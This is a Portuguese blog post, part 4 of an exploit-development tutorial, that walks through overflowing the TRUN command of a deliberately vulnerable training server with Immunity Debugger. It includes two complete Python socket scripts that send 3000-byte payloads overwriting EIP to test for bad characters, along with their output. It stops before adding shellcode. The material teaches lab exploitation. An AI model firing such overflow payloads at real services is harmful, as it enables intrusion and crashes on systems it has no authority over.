quinta-feira, 22 de janeiro de 2015

Buffer Overflow | Devenlop Exploit Parte 4

Examinando a Memória do ESP
Ainda com o script e o Immunity em execulção.
Vamos ver o que foi para no local apontado por ESP.
Indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacado em azul, como mostrado abaixo.
Em seguida, clique com no valor realçado do menu de contexto, e clique em "Follow in Dump"


Procure no painel inferior esquerdo do Immunity lá em HEX DUMP e olhando para o ASCII. Está cheio de caracteres 'F' que colocamos no final do texto do exploit. Isso vai ser muito importante para nois mais tarde, Nós vamos coloca o nosso código de exploração aqui. como mostra abaixo na imgem:



Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


O problema de maus caracteres

Este exploit depende de enganar o programa através da inserção deo código em uma estrutura de dados que não tinha a intenção de manter o código - que é outra coisa, como um nome de diretório.
Apenas a partir do senso comum, pode-se esperar que esses caracteres causa problemas:

Hex    Dec   Description
---  ---  ---------------------------------------------
0x00   0       Byte nulo , termina uma string C
0x0A  10      Nova Linha , pode encerrar uma linha de comando
0x0D  13     Procedimento de Retorno, pode encerrar uma linha de comando
0x20   32     Spaço, pode encerrar um argumento de linha de comando

Nem todos esses caracteres são sempre ruim, e pode ter também outros caracteres ruins. Portanto, a próxima tarefa é tentar injetá-los e ver o que acontece.

Testando os maus caracteres
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano bad-char1

Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP

GNU nano 2.2.6                                                           File: bad-char1                                                           Modified  
#!/usr/bin/python
import socket
server = '192.1.1.162'
sport = 9999

prefix = 'A' * 2006
eip = 'BCDE'
testchars = ''
for i in range(0, 256):
    testchars += chr(i)
padding = 'F' * (3000 - 2006 - 4 - len(testchars))
attack = prefix + eip + testchars + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamnho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script irá enviar um ataque de 3000 bytes para o servidor, que consiste de 2006 caracteres 'A'  seguido por 'BCDE ", eles devem acabar no EIP, e em seguida, todos os  possíveis 256 caracteres e, finalmente, eos caracteres ' F ' para fazer do total 3000 bytes de comprimento.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando:  python bad-char

root@kali:~# python bad-char1
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando para a máquina windows, no canto esquerdo inferior  da janela do Immunity novamente diz "Violação de acesso ao executar [45444342]".

No painel direito superior da Immunity, cliquecom o botão esquerdo no valor à direita de ESP, por isso é destacada em azul, como mostrado abaixo.
Em seguida, clique no valor realçado e clique em: "Follow in Dump". 



Procure no painel esquerdo inferior do Immunity. O primeiro byte é 00, mas nenhum dos outros caracteres fez isso na memória, e os outros 255 bytes ou caracteres 'F'. Isso aconteceu porque o byte 00 finalizou a string. '\ X00' e é um caractere ruim.


Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Testando novamente os maus Cracteres
Na máquina Kali Linux, no terminal, execute o comando:

root@kali:~# nano bad-char2

Na janelado nano , digite ou cole este código. não esqueça de trocar pelo seu IP

GNU nano 2.2.6                                                           File: bad-char2                                                           Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999
prefix = 'A' * 2006
eip = 'BCDE'
testchars = ''
for i in range(1, 256):
    testchars += chr(i)
padding = 'F' * (3000 - 2006 - 4 - len(testchars))
attack = prefix + eip + testchars + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamnho de ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script ignora o byte nulo, e inclui todas as outras 255 bytes na seqüência de ataque, antes do caractere do 'F'.

Em seguida, você precisa executável o script . Para isso, no Kali Linux, no terminal, execute o comando:  python bad-char2

root@kali:~# python bad-char2
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Olhando para a máquina windows, no painel direito superior da Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso está destacada em azul. Em seguida, clique com o valor realçado e clique em "Follow in Dump".



Procure no painel inferior esquerdo do Immunity.
Todos os bytes de 01 a FF aparecem em ordem, seguido por caracteres 'F' (46 em hexadecimal). Não há outros bytes ruins, apenas '\ x00'.


Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, como mostrado abaixo. e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Encontrar Código Útil em Assembly

Nós temos o controle sobre o EIP, para que possamos apontar para qualquer código que desejamos.executável.  O que precisamos fazer é encontrar uma maneira de executar os bytes no local de ESP.
Há duas instruções simples que irá execultar: "JMP ESP" e a sequência de duas instrução "PUSH ESP; RET".
Para encontrar essas instruções, precisamos analizar os módulos carregados quando servidor vulnerável está em execução

Instalando MONA

Parte 5 Aqui

0 comentários:

Postar um comentário